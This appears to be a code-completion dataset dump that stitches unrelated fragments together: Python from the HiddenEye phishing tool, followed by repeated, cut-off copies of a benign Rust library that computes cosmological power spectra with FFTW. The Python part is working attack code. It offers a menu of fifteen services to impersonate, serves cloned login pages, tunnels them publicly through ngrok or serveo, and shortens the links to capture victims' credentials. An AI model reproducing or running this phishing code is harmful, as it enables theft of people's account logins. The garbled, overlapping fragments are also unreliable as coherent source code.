print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT))
exit(0)
option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if option == '1':
loadModule('Facebook')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Facebook', option2)
elif option == '2':
loadModule('Google')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Google', option2)
elif option == '3':
loadModule('LinkedIn')
option2 = ''
runPhishing('LinkedIn', option2)
elif option == '4':
loadModule('GitHub')
option2 = ''
runPhishing('GitHub', option2)
elif option == '5':
loadModule('StackOverflow')
option2 = ''
runPhishing('StackOverflow', option2)
elif option == '6':
loadModule('WordPress')
option2 = ''
runPhishing('WordPress', option2)
elif option == '7':
loadModule('Twitter')
option2 = ''
runPhishing('Twitter', option2)
elif option == '8':
loadModule('Instagram')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('Instagram', option2)
elif option == '9':
loadModule('Snapchat')
option2 = ''
runPhishing('Snapchat', option2)
elif option == '10':
loadModule('Yahoo')
option2 = ''
runPhishing('Yahoo', option2)
elif option == '11':
loadModule('Twitch')
option2 = ''
runPhishing('Twitch', option2)
elif option == '12':
loadModule('Microsoft')
option2 = ''
runPhishing('Microsoft', option2)
elif option == '13':
loadModule('Steam')
option2 = ''
runPhishing('Steam', option2)
elif option == '14':
loadModule('VK')
option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
runPhishing('VK', option2)
elif option == '15':
loadModule('iCloud')
option2 = ''
runPhishing('iCloud', option2)
else:
system('clear && ./HiddenEye.py')
def runServeo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(7)
with open('link.url') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
pass
else:
runServeo()
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
def runNgrok():
system('./Server/ngrok http 1111 > /dev/null &')
while True:
sleep(2)
system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
urlFile = open('ngrok.url', 'r')
url = urlFile.read()
urlFile.close()
if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, DEFAULT, GREEN) + url + "{1}".format(CYAN, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(CYAN, DEFAULT, GREEN) + link + "{1}".format(CYAN, DEFAULT, GREEN))
print("\n")
break
def runServer():
system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &") |
if __name__ == "__main__":
try:
runPEnv()
def custom(): #Question where user can input custom web-link
print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT))
print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT))
print("\n {0}Insert a custom redirect url:".format(CYAN, DEFAULT))
custom = input("\nCUSTOM URL >".format(CYAN, DEFAULT))
if 'https://' in custom:
pass
else:
custom = 'https://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
with open('Server/www/post.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
custom()
def server(): #Question where user must select server
print("\n {0}Please select any available server:{1}".format(CYAN, DEFAULT))
print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, DEFAULT))
choice = input(" \n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if choice == '1':
runNgrok()
elif choice == '2':
runServeo()
else:
system('clear')
return server()
server()
multiprocessing.Process(target=runServer).start()
waitCreds()
except KeyboardInterrupt:
end()
exit(0) | random_line_split | |
lib.rs | use byteorder::{NativeEndian, ReadBytesExt};
use fftw::array::AlignedVec;
use fftw::plan::*;
use fftw::types::*;
use num_complex::Complex;
use ron::de::from_reader;
use serde::Deserialize;
use std::f64::consts::PI;
use std::fs::File;
use std::io::prelude::*;
use std::io::BufReader;
/// A struct containing the configuration information to run the program, read
/// at runtime from a RON file.
///
/// # Examples
///
/// ```
/// let config = Config {
/// grid1_filename: String::from("/path/to/grid1"),
/// grid2_filename: String::from("/path/to/grid2"),
/// output_filename: String::from("/path/to/output"),
/// ngrid: 2048,
/// boxsize: 160.0,
/// }
/// ```
#[derive(Debug, Deserialize)]
pub struct Config {
pub grid1_filename: String,
pub grid2_filename: String,
pub output_filename: String,
pub ngrid: u32,
pub boxsize: f32,
}
impl Config {
/// Reads the configuration file passed as a command line option at runtime.
///
/// # Examples
///
/// ```
/// let config = Config::new(env::args()).unwrap();
/// ```
pub fn new(mut args: std::env::Args) -> Result<Config, &'static str> {
args.next();
// Match command-line argument for configuration filename
let config_filename = match args.next() {
Some(arg) => arg,
None => return Err("Incorrect command-line argument."),
};
// Open configuration file
println!("\nReading configuration file: {}", config_filename);
let f = match File::open(&config_filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open configuration file."),
};
// Decode RON format of configuration file
let config: Config = match from_reader(f) {
Ok(x) => x,
Err(_) => return Err("Unable to read configuration from file."),
};
// Print configuration
println!("\ngrid1 path: {}", config.grid1_filename);
println!("grid1 path: {}", config.grid2_filename);
println!("output path: {}", config.output_filename);
println!("ngrid: {} cells on a side", config.ngrid);
println!("boxsize: {} cMpc/h", config.boxsize);
Ok(config)
}
}
/// A struct containing the final output vectors.
#[derive(Debug)]
pub struct Output {
pub w: Vec<f64>,
pub pow_spec: Vec<f64>,
pub deltasqk: Vec<f64>,
pub iweights: Vec<i64>,
}
impl Output {
/// Saves the power spectrum to a formatted txt file.
///
/// # Examples
///
/// ```
/// output.save_result(&config).unwrap();
/// ```
pub fn save_result(&self, config: &Config) -> Result<(), &'static str> {
println!("\nSaving results to: {}", &config.output_filename);
// Open output file
let mut f = match File::create(&config.output_filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open output file!"),
};
match writeln!(f, "# w pow_spec deltasqk iweights") {
Ok(_) => (),
Err(err) => {
eprintln!("{}", err);
return Err("Unable to save output!")
},
}
let nhalf: usize = (config.ngrid / 2) as usize;
for n in 0..nhalf {
match writeln!(
f,
"{} {} {} {}",
self.w[n], self.pow_spec[n], self.deltasqk[n], self.iweights[n]
) {
Ok(_) => (),
Err(err) => {
eprintln!("{}", err);
return Err("Unable to save output!")
},
}
}
Ok(())
}
}
/// Loads a grid stored at `filename` (in a custom binary format) into an
/// `fftw::array::AlignedVec` object. This custom format stores the 3D grid as
/// a 1D array of values. The data should be stored as deviations from the mean,
/// i.e. delta = (x - mean(x)) / mean(x).
///
/// # Examples
///
/// ```
/// let grid1 = load_grid(&config, 1).unwrap();
/// ```
pub fn load_grid(config: &Config, num: usize) -> Result<AlignedVec<c64>, &'static str> {
let filename = match num {
1 => &config.grid1_filename,
2 => &config.grid2_filename,
_ => return Err("Need to load either grid 1 or 2!"),
};
println!("\nOpening grid from file: {}", filename);
let ngrid: usize = config.ngrid as usize;
// Allocate AlignedVec array to hold grid
let ngrid3 = ngrid * ngrid * ngrid;
let mut grid = AlignedVec::new(ngrid3);
// Open binary file
let f = match File::open(filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open grid file!"),
};
let mut buf_reader = BufReader::new(f);
// Read in array from binary file
for elem in grid.iter_mut() {
let cell = match buf_reader.read_f32::<NativeEndian>() {
Ok(val) => val,
Err(_) => return Err("Problem reading values from file!"),
};
*elem = c64::new(f64::from(cell), 0.0);
}
println!("Successfully read {} cells!", ngrid3);
println!("Sanity print:");
grid[0..5].iter()
.enumerate()
.for_each(|(i, elem)| {
println!("grid1[{}] = {:.3e} + {:.3e}i", i, elem.re, elem.im);
});
Ok(grid)
}
/// Performs FFT on grids
///
/// # Examples
///
/// ```
/// let output: Output = correlate(&config, grid1, grid2).unwrap();
/// ```
pub fn perform_fft(
config: &Config,
grid1: AlignedVec<c64>,
grid2: AlignedVec<c64>,
) -> Result<(AlignedVec<c64>, AlignedVec<c64>), &'static str> {
println!("\nPerforming FFTs...");
let ngrid: usize = config.ngrid as usize;
// Create FFTW plan
let shape = [ngrid, ngrid, ngrid];
let mut plan: C2CPlan64 = match C2CPlan::aligned(&shape[..], Sign::Forward, Flag::Estimate) {
Ok(p) => p,
Err(_) => return Err("Unable to create FFTW plan."),
};
println!("Plan created!");
// Perform FFT on grids
let ngrid3 = ngrid * ngrid * ngrid;
let out1 = fft_from_plan(ngrid3, grid1, &mut plan)?;
println!("First grid FFT complete!");
let out2 = fft_from_plan(ngrid3, grid2, &mut plan)?;
println!("Second grid FFT complete!");
// Sanity prints
println!("FFTs performed... Sanity check:");
for n in 0..10 {
println!("out1[{}] = {:.3e} + {:.3e}i", n, out1[n].re, out1[n].im);
println!("out2[{}] = {:.3e} + {:.3e}i", n, out2[n].re, out2[n].im);
}
Ok((out1, out2))
}
/// Use FFTW3 plan to perform FFT
fn fft_from_plan(
ngrid3: usize,
mut grid: AlignedVec<c64>,
plan: &mut C2CPlan64,
) -> Result<AlignedVec<c64>, &'static str> |
/// Calculates the cross power spectrum of the given 3D grids (note if the same
/// grid is given twice then this is the auto power spectrum).
///
/// # Examples
///
/// ```
/// let output: Output = correlate(&config, grid1, grid2).unwrap();
/// ```
pub fn correlate(
config: &Config,
out1: AlignedVec<c64>,
out2: AlignedVec<c64>,
) -> Result<Output, &'static str> {
println!("\nCalculating power spectrum...");
if cfg!(feature = "ngp_correction_single") {
println!("Correcting for NGP mass assignment of one field!");
} else if cfg!(feature = "cic_correction_single") {
println!("Correcting for CIC mass assignment of one field!");
} else if cfg!(feature = "ngp_correction_both") {
println!("Correcting for NGP mass assignment of both fields!");
} else if cfg!(feature = "cic_correction_both") {
println!("Correcting for CIC mass assignment of both fields!");
}
let ngrid: usize = config.ngrid as usize;
let boxsize: f64 = f64::from(config.boxsize);
// Calculate power spectrum
let kf: f64 = 2.0 * PI / boxsize;
let coeff: f64 = (boxsize / (2.0 * PI)).powf(2.0);
let nhalf: usize = ngrid / 2;
#[cfg(any(
feature = "ngp_correction_single",
feature = "ngp_correction_both",
feature = "cic_correction_single",
feature = "cic_correction_both"
))]
let kny: f64 = PI * config.ngrid as f64 / boxsize;
let mut w: Vec<f64> = Vec::with_capacity(ngrid);
for i in 0..=nhalf {
w.push(kf * (i as f64));
}
for i in (nhalf + 1)..ngrid {
w.push(kf * ((i as isize - ngrid as isize) as f64));
}
let mut pow_spec: Vec<f64> = vec![0.0; ngrid];
let mut iweights: Vec<i64> = vec![0; ngrid];
for i in 0..ngrid {
let iper = if i >= nhalf { ngrid - i } else { i };
for j in 0..ngrid {
let jper = if j >= nhalf { ngrid - j } else { j };
for k in 0..ngrid {
let kper = if k >= nhalf { ngrid - k } else { k };
let r: f64 = (iper * iper + jper * jper + kper * kper) as f64;
let m: usize = (0.5 + r.sqrt()) as usize;
iweights[m] += 1;
let g = w[i] * w[i] + w[j] * w[j] + w[k] * w[k];
if g != 0.0 {
let scale: usize = (0.5 + (g * coeff).sqrt()) as usize;
let index: usize = k + ngrid * (j + ngrid * i);
let mut contrib: Complex<f64> =
out1[index] * out2[index].conj() + out1[index].conj() * out2[index];
#[cfg(feature = "ngp_correction_single")]
{
// Correct for Nearest-Grid-Point mass assignment
let wngp = sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny));
contrib.re /= wngp;
}
#[cfg(feature = "cic_correction_single")]
{
// Correct for Cloud-in-Cell mass assignment
let wcic = (sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny)))
.powi(2);
contrib.re /= wcic;
}
#[cfg(feature = "ngp_correction_both")]
{
// Correct for Nearest-Grid-Point mass assignment
let wngp = sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny));
contrib.re /= wngp * wngp;
}
#[cfg(feature = "cic_correction_both")]
{
// Correct for Cloud-in-Cell mass assignment
let wcic = (sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny)))
.powi(2);
contrib.re /= wcic * wcic;
}
pow_spec[scale] += contrib.re / 2.0;
}
}
}
}
println!("Power spectrum calculated. Normalising...");
// Normalise power spectrum
let pisq: f64 = 2.0 * PI * PI;
let mut deltasqk: Vec<f64> = Vec::with_capacity(nhalf);
for i in 0..nhalf {
pow_spec[i] *= boxsize.powi(3) / (ngrid as f64).powi(6);
pow_spec[i] /= iweights[i] as f64;
deltasqk.push(w[i].powf(3.0) * pow_spec[i] / pisq);
}
// Return final output
Ok(Output {
w,
pow_spec,
deltasqk,
iweights,
})
}
#[cfg(any(
feature = "ngp_correction_single",
feature = "ngp_correction_both",
feature = "cic_correction_single",
feature = "cic_correction_both"
))]
fn sinc(theta: f64) -> f64 {
if theta < 1e-20 {
1.0
} else {
(theta.sin() / theta)
}
}
| {
let mut out = AlignedVec::new(ngrid3);
match plan.c2c(&mut grid, &mut out) {
Ok(_) => (),
Err(_) => return Err("Failed to FFT grid."),
};
Ok(out)
} | identifier_body |
lib.rs | use byteorder::{NativeEndian, ReadBytesExt};
use fftw::array::AlignedVec;
use fftw::plan::*;
use fftw::types::*;
use num_complex::Complex;
use ron::de::from_reader;
use serde::Deserialize;
use std::f64::consts::PI;
use std::fs::File;
use std::io::prelude::*;
use std::io::BufReader;
/// A struct containing the configuration information to run the program, read
/// at runtime from a RON file.
///
/// # Examples
///
/// ```
/// let config = Config {
/// grid1_filename: String::from("/path/to/grid1"),
/// grid2_filename: String::from("/path/to/grid2"),
/// output_filename: String::from("/path/to/output"),
/// ngrid: 2048,
/// boxsize: 160.0,
/// }
/// ```
#[derive(Debug, Deserialize)]
pub struct Config {
pub grid1_filename: String,
pub grid2_filename: String,
pub output_filename: String,
pub ngrid: u32,
pub boxsize: f32,
}
impl Config {
/// Reads the configuration file passed as a command line option at runtime.
///
/// # Examples
///
/// ```
/// let config = Config::new(env::args()).unwrap();
/// ```
pub fn new(mut args: std::env::Args) -> Result<Config, &'static str> {
args.next();
// Match command-line argument for configuration filename
let config_filename = match args.next() {
Some(arg) => arg,
None => return Err("Incorrect command-line argument."),
};
// Open configuration file
println!("\nReading configuration file: {}", config_filename);
let f = match File::open(&config_filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open configuration file."),
};
// Decode RON format of configuration file
let config: Config = match from_reader(f) {
Ok(x) => x,
Err(_) => return Err("Unable to read configuration from file."),
};
// Print configuration
println!("\ngrid1 path: {}", config.grid1_filename);
println!("grid1 path: {}", config.grid2_filename);
println!("output path: {}", config.output_filename);
println!("ngrid: {} cells on a side", config.ngrid);
println!("boxsize: {} cMpc/h", config.boxsize);
Ok(config)
}
}
/// A struct containing the final output vectors.
#[derive(Debug)]
pub struct Output {
pub w: Vec<f64>,
pub pow_spec: Vec<f64>,
pub deltasqk: Vec<f64>,
pub iweights: Vec<i64>,
}
impl Output {
/// Saves the power spectrum to a formatted txt file.
///
/// # Examples
///
/// ```
/// output.save_result(&config).unwrap();
/// ```
pub fn save_result(&self, config: &Config) -> Result<(), &'static str> {
println!("\nSaving results to: {}", &config.output_filename);
// Open output file
let mut f = match File::create(&config.output_filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open output file!"),
};
match writeln!(f, "# w pow_spec deltasqk iweights") {
Ok(_) => (),
Err(err) => {
eprintln!("{}", err);
return Err("Unable to save output!")
},
}
let nhalf: usize = (config.ngrid / 2) as usize;
for n in 0..nhalf {
match writeln!(
f,
"{} {} {} {}",
self.w[n], self.pow_spec[n], self.deltasqk[n], self.iweights[n]
) {
Ok(_) => (),
Err(err) => {
eprintln!("{}", err);
return Err("Unable to save output!")
},
}
}
Ok(())
}
}
/// Loads a grid stored at `filename` (in a custom binary format) into an
/// `fftw::array::AlignedVec` object. This custom format stores the 3D grid as
/// a 1D array of values. The data should be stored as deviations from the mean,
/// i.e. delta = (x - mean(x)) / mean(x).
///
/// # Examples
///
/// ```
/// let grid1 = load_grid(&config, 1).unwrap();
/// ```
pub fn load_grid(config: &Config, num: usize) -> Result<AlignedVec<c64>, &'static str> {
let filename = match num {
1 => &config.grid1_filename,
2 => &config.grid2_filename,
_ => return Err("Need to load either grid 1 or 2!"),
};
println!("\nOpening grid from file: {}", filename);
let ngrid: usize = config.ngrid as usize;
// Allocate AlignedVec array to hold grid
let ngrid3 = ngrid * ngrid * ngrid;
let mut grid = AlignedVec::new(ngrid3);
// Open binary file
let f = match File::open(filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open grid file!"),
};
let mut buf_reader = BufReader::new(f);
// Read in array from binary file
for elem in grid.iter_mut() {
let cell = match buf_reader.read_f32::<NativeEndian>() {
Ok(val) => val,
Err(_) => return Err("Problem reading values from file!"),
};
*elem = c64::new(f64::from(cell), 0.0);
}
println!("Successfully read {} cells!", ngrid3);
println!("Sanity print:");
grid[0..5].iter()
.enumerate()
.for_each(|(i, elem)| {
println!("grid1[{}] = {:.3e} + {:.3e}i", i, elem.re, elem.im); | }
/// Performs FFT on grids
///
/// # Examples
///
/// ```
/// let output: Output = correlate(&config, grid1, grid2).unwrap();
/// ```
pub fn perform_fft(
config: &Config,
grid1: AlignedVec<c64>,
grid2: AlignedVec<c64>,
) -> Result<(AlignedVec<c64>, AlignedVec<c64>), &'static str> {
println!("\nPerforming FFTs...");
let ngrid: usize = config.ngrid as usize;
// Create FFTW plan
let shape = [ngrid, ngrid, ngrid];
let mut plan: C2CPlan64 = match C2CPlan::aligned(&shape[..], Sign::Forward, Flag::Estimate) {
Ok(p) => p,
Err(_) => return Err("Unable to create FFTW plan."),
};
println!("Plan created!");
// Perform FFT on grids
let ngrid3 = ngrid * ngrid * ngrid;
let out1 = fft_from_plan(ngrid3, grid1, &mut plan)?;
println!("First grid FFT complete!");
let out2 = fft_from_plan(ngrid3, grid2, &mut plan)?;
println!("Second grid FFT complete!");
// Sanity prints
println!("FFTs performed... Sanity check:");
for n in 0..10 {
println!("out1[{}] = {:.3e} + {:.3e}i", n, out1[n].re, out1[n].im);
println!("out2[{}] = {:.3e} + {:.3e}i", n, out2[n].re, out2[n].im);
}
Ok((out1, out2))
}
/// Use FFTW3 plan to perform FFT
fn fft_from_plan(
ngrid3: usize,
mut grid: AlignedVec<c64>,
plan: &mut C2CPlan64,
) -> Result<AlignedVec<c64>, &'static str> {
let mut out = AlignedVec::new(ngrid3);
match plan.c2c(&mut grid, &mut out) {
Ok(_) => (),
Err(_) => return Err("Failed to FFT grid."),
};
Ok(out)
}
/// Calculates the cross power spectrum of the given 3D grids (note if the same
/// grid is given twice then this is the auto power spectrum).
///
/// # Examples
///
/// ```
/// let output: Output = correlate(&config, grid1, grid2).unwrap();
/// ```
pub fn correlate(
config: &Config,
out1: AlignedVec<c64>,
out2: AlignedVec<c64>,
) -> Result<Output, &'static str> {
println!("\nCalculating power spectrum...");
if cfg!(feature = "ngp_correction_single") {
println!("Correcting for NGP mass assignment of one field!");
} else if cfg!(feature = "cic_correction_single") {
println!("Correcting for CIC mass assignment of one field!");
} else if cfg!(feature = "ngp_correction_both") {
println!("Correcting for NGP mass assignment of both fields!");
} else if cfg!(feature = "cic_correction_both") {
println!("Correcting for CIC mass assignment of both fields!");
}
let ngrid: usize = config.ngrid as usize;
let boxsize: f64 = f64::from(config.boxsize);
// Calculate power spectrum
let kf: f64 = 2.0 * PI / boxsize;
let coeff: f64 = (boxsize / (2.0 * PI)).powf(2.0);
let nhalf: usize = ngrid / 2;
#[cfg(any(
feature = "ngp_correction_single",
feature = "ngp_correction_both",
feature = "cic_correction_single",
feature = "cic_correction_both"
))]
let kny: f64 = PI * config.ngrid as f64 / boxsize;
let mut w: Vec<f64> = Vec::with_capacity(ngrid);
for i in 0..=nhalf {
w.push(kf * (i as f64));
}
for i in (nhalf + 1)..ngrid {
w.push(kf * ((i as isize - ngrid as isize) as f64));
}
let mut pow_spec: Vec<f64> = vec![0.0; ngrid];
let mut iweights: Vec<i64> = vec![0; ngrid];
for i in 0..ngrid {
let iper = if i >= nhalf { ngrid - i } else { i };
for j in 0..ngrid {
let jper = if j >= nhalf { ngrid - j } else { j };
for k in 0..ngrid {
let kper = if k >= nhalf { ngrid - k } else { k };
let r: f64 = (iper * iper + jper * jper + kper * kper) as f64;
let m: usize = (0.5 + r.sqrt()) as usize;
iweights[m] += 1;
let g = w[i] * w[i] + w[j] * w[j] + w[k] * w[k];
if g != 0.0 {
let scale: usize = (0.5 + (g * coeff).sqrt()) as usize;
let index: usize = k + ngrid * (j + ngrid * i);
let mut contrib: Complex<f64> =
out1[index] * out2[index].conj() + out1[index].conj() * out2[index];
#[cfg(feature = "ngp_correction_single")]
{
// Correct for Nearest-Grid-Point mass assignment
let wngp = sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny));
contrib.re /= wngp;
}
#[cfg(feature = "cic_correction_single")]
{
// Correct for Cloud-in-Cell mass assignment
let wcic = (sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny)))
.powi(2);
contrib.re /= wcic;
}
#[cfg(feature = "ngp_correction_both")]
{
// Correct for Nearest-Grid-Point mass assignment
let wngp = sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny));
contrib.re /= wngp * wngp;
}
#[cfg(feature = "cic_correction_both")]
{
// Correct for Cloud-in-Cell mass assignment
let wcic = (sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny)))
.powi(2);
contrib.re /= wcic * wcic;
}
pow_spec[scale] += contrib.re / 2.0;
}
}
}
}
println!("Power spectrum calculated. Normalising...");
// Normalise power spectrum
let pisq: f64 = 2.0 * PI * PI;
let mut deltasqk: Vec<f64> = Vec::with_capacity(nhalf);
for i in 0..nhalf {
pow_spec[i] *= boxsize.powi(3) / (ngrid as f64).powi(6);
pow_spec[i] /= iweights[i] as f64;
deltasqk.push(w[i].powf(3.0) * pow_spec[i] / pisq);
}
// Return final output
Ok(Output {
w,
pow_spec,
deltasqk,
iweights,
})
}
#[cfg(any(
feature = "ngp_correction_single",
feature = "ngp_correction_both",
feature = "cic_correction_single",
feature = "cic_correction_both"
))]
fn sinc(theta: f64) -> f64 {
if theta < 1e-20 {
1.0
} else {
(theta.sin() / theta)
}
} | });
Ok(grid) | random_line_split |
lib.rs | use byteorder::{NativeEndian, ReadBytesExt};
use fftw::array::AlignedVec;
use fftw::plan::*;
use fftw::types::*;
use num_complex::Complex;
use ron::de::from_reader;
use serde::Deserialize;
use std::f64::consts::PI;
use std::fs::File;
use std::io::prelude::*;
use std::io::BufReader;
/// A struct containing the configuration information to run the program, read
/// at runtime from a RON file.
///
/// # Examples
///
/// ```
/// let config = Config {
/// grid1_filename: String::from("/path/to/grid1"),
/// grid2_filename: String::from("/path/to/grid2"),
/// output_filename: String::from("/path/to/output"),
/// ngrid: 2048,
/// boxsize: 160.0,
/// }
/// ```
#[derive(Debug, Deserialize)]
pub struct Config {
pub grid1_filename: String,
pub grid2_filename: String,
pub output_filename: String,
pub ngrid: u32,
pub boxsize: f32,
}
impl Config {
/// Reads the configuration file passed as a command line option at runtime.
///
/// # Examples
///
/// ```
/// let config = Config::new(env::args()).unwrap();
/// ```
pub fn new(mut args: std::env::Args) -> Result<Config, &'static str> {
args.next();
// Match command-line argument for configuration filename
let config_filename = match args.next() {
Some(arg) => arg,
None => return Err("Incorrect command-line argument."),
};
// Open configuration file
println!("\nReading configuration file: {}", config_filename);
let f = match File::open(&config_filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open configuration file."),
};
// Decode RON format of configuration file
let config: Config = match from_reader(f) {
Ok(x) => x,
Err(_) => return Err("Unable to read configuration from file."),
};
// Print configuration
println!("\ngrid1 path: {}", config.grid1_filename);
println!("grid1 path: {}", config.grid2_filename);
println!("output path: {}", config.output_filename);
println!("ngrid: {} cells on a side", config.ngrid);
println!("boxsize: {} cMpc/h", config.boxsize);
Ok(config)
}
}
/// A struct containing the final output vectors.
#[derive(Debug)]
pub struct Output {
pub w: Vec<f64>,
pub pow_spec: Vec<f64>,
pub deltasqk: Vec<f64>,
pub iweights: Vec<i64>,
}
impl Output {
/// Saves the power spectrum to a formatted txt file.
///
/// # Examples
///
/// ```
/// output.save_result(&config).unwrap();
/// ```
pub fn save_result(&self, config: &Config) -> Result<(), &'static str> {
println!("\nSaving results to: {}", &config.output_filename);
// Open output file
let mut f = match File::create(&config.output_filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open output file!"),
};
match writeln!(f, "# w pow_spec deltasqk iweights") {
Ok(_) => (),
Err(err) => {
eprintln!("{}", err);
return Err("Unable to save output!")
},
}
let nhalf: usize = (config.ngrid / 2) as usize;
for n in 0..nhalf {
match writeln!(
f,
"{} {} {} {}",
self.w[n], self.pow_spec[n], self.deltasqk[n], self.iweights[n]
) {
Ok(_) => (),
Err(err) => {
eprintln!("{}", err);
return Err("Unable to save output!")
},
}
}
Ok(())
}
}
/// Loads a grid stored at `filename` (in a custom binary format) into an
/// `fftw::array::AlignedVec` object. This custom format stores the 3D grid as
/// a 1D array of values. The data should be stored as deviations from the mean,
/// i.e. delta = (x - mean(x)) / mean(x).
///
/// # Examples
///
/// ```
/// let grid1 = load_grid(&config, 1).unwrap();
/// ```
pub fn | (config: &Config, num: usize) -> Result<AlignedVec<c64>, &'static str> {
let filename = match num {
1 => &config.grid1_filename,
2 => &config.grid2_filename,
_ => return Err("Need to load either grid 1 or 2!"),
};
println!("\nOpening grid from file: {}", filename);
let ngrid: usize = config.ngrid as usize;
// Allocate AlignedVec array to hold grid
let ngrid3 = ngrid * ngrid * ngrid;
let mut grid = AlignedVec::new(ngrid3);
// Open binary file
let f = match File::open(filename) {
Ok(file) => file,
Err(_) => return Err("Unable to open grid file!"),
};
let mut buf_reader = BufReader::new(f);
// Read in array from binary file
for elem in grid.iter_mut() {
let cell = match buf_reader.read_f32::<NativeEndian>() {
Ok(val) => val,
Err(_) => return Err("Problem reading values from file!"),
};
*elem = c64::new(f64::from(cell), 0.0);
}
println!("Successfully read {} cells!", ngrid3);
println!("Sanity print:");
grid[0..5].iter()
.enumerate()
.for_each(|(i, elem)| {
println!("grid1[{}] = {:.3e} + {:.3e}i", i, elem.re, elem.im);
});
Ok(grid)
}
/// Performs FFT on grids
///
/// # Examples
///
/// ```
